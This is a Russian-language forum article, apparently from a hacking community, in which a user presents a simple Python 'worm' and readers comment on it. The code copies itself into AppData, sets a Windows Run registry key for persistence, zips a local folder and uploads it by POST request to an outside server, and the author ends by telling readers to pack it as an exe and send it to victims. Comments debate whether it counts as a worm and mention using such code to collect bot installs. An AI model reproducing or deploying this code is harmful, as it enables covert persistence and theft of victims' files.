Toggle sidebar Toggle sidebar
РАЗБОР Reverse Статья

Простой червь на python

krasov_rf
krasov_rf Script Kiddie · 39 сообщений
Подписаться
17,3 тыс.
[ обложка статьи ]
Режим чтения
Всем доброго времени суток, участники Codeby!
Перед шарагой нечего было делать, настрочил простенький червь на питоне, что бы он
послужил вам примером/неким представлением "тёмной" области этого языка.

Добавим наш заражённый файл в какую-нибудь папку, где он не будет мозолить
пользователю глаза, я долго думать не стал, т.к это всего лишь пример и добавил его в
папку AppData.

Python: 
directory = os.getenv("APPDATA") + r'/your_program/'
base_file = directory + os.path.basename(__file__)


if not os.path.exists(directory):
    os.makedirs(directory)
    shutil.copy(__file__, base_file)


Первым делом я решил закрепить наш файл в автозапуске операционной системе,
делал я это через реестр.Тут нам поможет модуль winreg.

Python: 
path_to_reestr = OpenKey(HKEY_CURRENT_USER,
                        r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
                        0, KEY_ALL_ACCESS)
SetValueEx(path_to_reestr, 'Virus', 0, REG_SZ, base_file)
CloseKey(path_to_reestr)

В переменной мы установили путь до реестра, дальше добавили значение нашего вируса,
лучше назвать его как-то неприметно, но я во все услышание ознаменовал его 'Virus'.
И устанавливаем путь до файла (base_file).


Ну и тупо в три строчки напишем тело нашего червя xD

Python: 
# Добавляем папку в аврхив
shutil.make_archive(r'Имя архива', 'zip', r'Папка')

# Отправляем архив на сервер
files = {'Имя архива': open('Имя архива', 'rb')}
r = requests.post('http://httpbin.org/post', files=files)

Добавляем его в архив и отправляем его на сервер с помощью post запроса.

В итоге у нас должно получиться что-то наподобие этого

Python: 
import shutil
import os
import sys
import requests
from winreg import *


def autorun():
    # Путь, который будет светиться в авторане
    directory = os.getenv("APPDATA") + r'/your_program/'
    base_file = directory + os.path.basename(__file__)

    if not os.path.exists(directory):
        os.makedirs(directory)
        shutil.copy(__file__, base_file)

    # Путь в реестре
    path_to_reestr = OpenKey(HKEY_CURRENT_USER,
                     r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
                     0, KEY_ALL_ACCESS)
    # Установить программу "Virus" в автозагрузку
    SetValueEx(path_to_reestr, 'Virus', 0, REG_SZ, base_file)
    # Закрыть реестр
    CloseKey(path_to_reestr)


def addToZip():
    # Добавляем папку в аврхив
    shutil.make_archive(r'C:\\file', 'zip', r'C:\xampp')[/SPOILER]

    # Отправляем архив на сервер
    files = {'file.zip': open('C:\\file.zip', 'rb')}
    r = requests.post('http://httpbin.org/post', files=files)

autorun()
addToZip()

Далее пакуем его в exe и идем кидать жертвам.
Полезно · 16
#python #tayler

Комментарии

10
#2
добавлю как способ добычи инсталлов и для безопасности так как каждый второй качает,
даже не смотрит код с гитхаба как итог становиться чьим то ботом потом
36gif_5947845_29246622.gif


 
  • Нравится
Реакции: init_error, explorer, fuzscore и ещё 2
5
#3
Извините за глупый вопрос, а в чем заключается его червивость? В возможности записаться в автозагрузку или в отправке архива на сервер?
 
#4
эта программа написана для примера, так что писать добавление в файл этой программы пишем сами
 
#5
Тогда, вы хотели сказать, вирус? И то недопиленный, без какого либо вируса. Это механизм размножения. Червь - дожен копировать своё тело, которое должно копировать своё тело. Вирус должен пытаться заражать процессы и дописывать свою днк в конец программ без изменения их функционала. Это хотели показать? Так покажите. Возьмите дырку какую-то в ОС и внедритесь в процесс. А у вас НЕТ ВРЕДОНОСА, обычный софт
 
#6
Лол на добавление ключа в реестр по этому пути ругаются почти все ав. У юзера как правило нет питона на компе. Черви это все же несколько другая вещь. Мне нравится как они у Криса описаны, почитайте
 
  • Нравится
Реакции: krasov_rf
1
#7
mrOkey сказал(а):
Лол на добавление ключа в реестр по этому пути ругаются почти все ав. У юзера как правило нет питона на компе. Черви это все же несколько другая вещь. Мне нравится как они у Криса описаны, почитайте
Нажмите, чтобы раскрыть...
а кто такой Крис?
 
#8
  • Нравится
Реакции: Shadow User
1
#9
mrOkey сказал(а):
Лол на добавление ключа в реестр по этому пути ругаются почти все ав. У юзера как правило нет питона на компе. Черви это все же несколько другая вещь. Мне нравится как они у Криса описаны, почитайте
Нажмите, чтобы раскрыть...
При комниляции в EXE, не важно есть у жертвы питон или нет, он запускает EXE, скрипт будет работать без питона на пк и без модулей
 
#10
не вирус а обычный софт
 
#11
Согласен с многими кто пишет "какой это вирус, он никакого вреда не причиняет" но и с другой стороны, нельзя сказать что этот "скрипт" вообще бесполезный, ибо я как новичок узнал о новых модулях))
 
Для ответа нужно войти/зарегистрироваться
Продолжить чтение
Следующий разбор Я не взломал их C2. Я заставил бота сдать его сам | РАЗБОР ТОГО КАК Я РЕВЕРСНУЛ КАСТОМНЫЙ ПРОТОКОЛ С2 ГРУППИРОВКИ 2137GANG

Ещё по теме

4
Сергей Попов СтатьяSupply chain attack npm: реверс-инжиниринг двухступенчатого payload от bootstrap до C2 Сергей Попов·09.07.2026·Анализ уязвимостей и исследования 0 704 09.07.2026 Сергей Попов СтатьяHive0117 атаки на российские компании: kill chain Сергей Попов·06.09.2026·Threat Intel 0 2 тыс. 06.09.2026 Сергей Попов СтатьяMinerSearch: обнаружение майнера в Windows — от ручного анализа до автоматического удаления Сергей Попов·26.06.2026·Арсенал специалиста по ИБ 1 3 тыс. 01.08.2026 Сергей Попов СтатьяАнализ вредоносного ПО на Python: разбор стилера от распаковки до C2-адреса Сергей Попов·10.06.2026·Анализ уязвимостей и исследования 0 997 10.06.2026
Верх Низ
Назад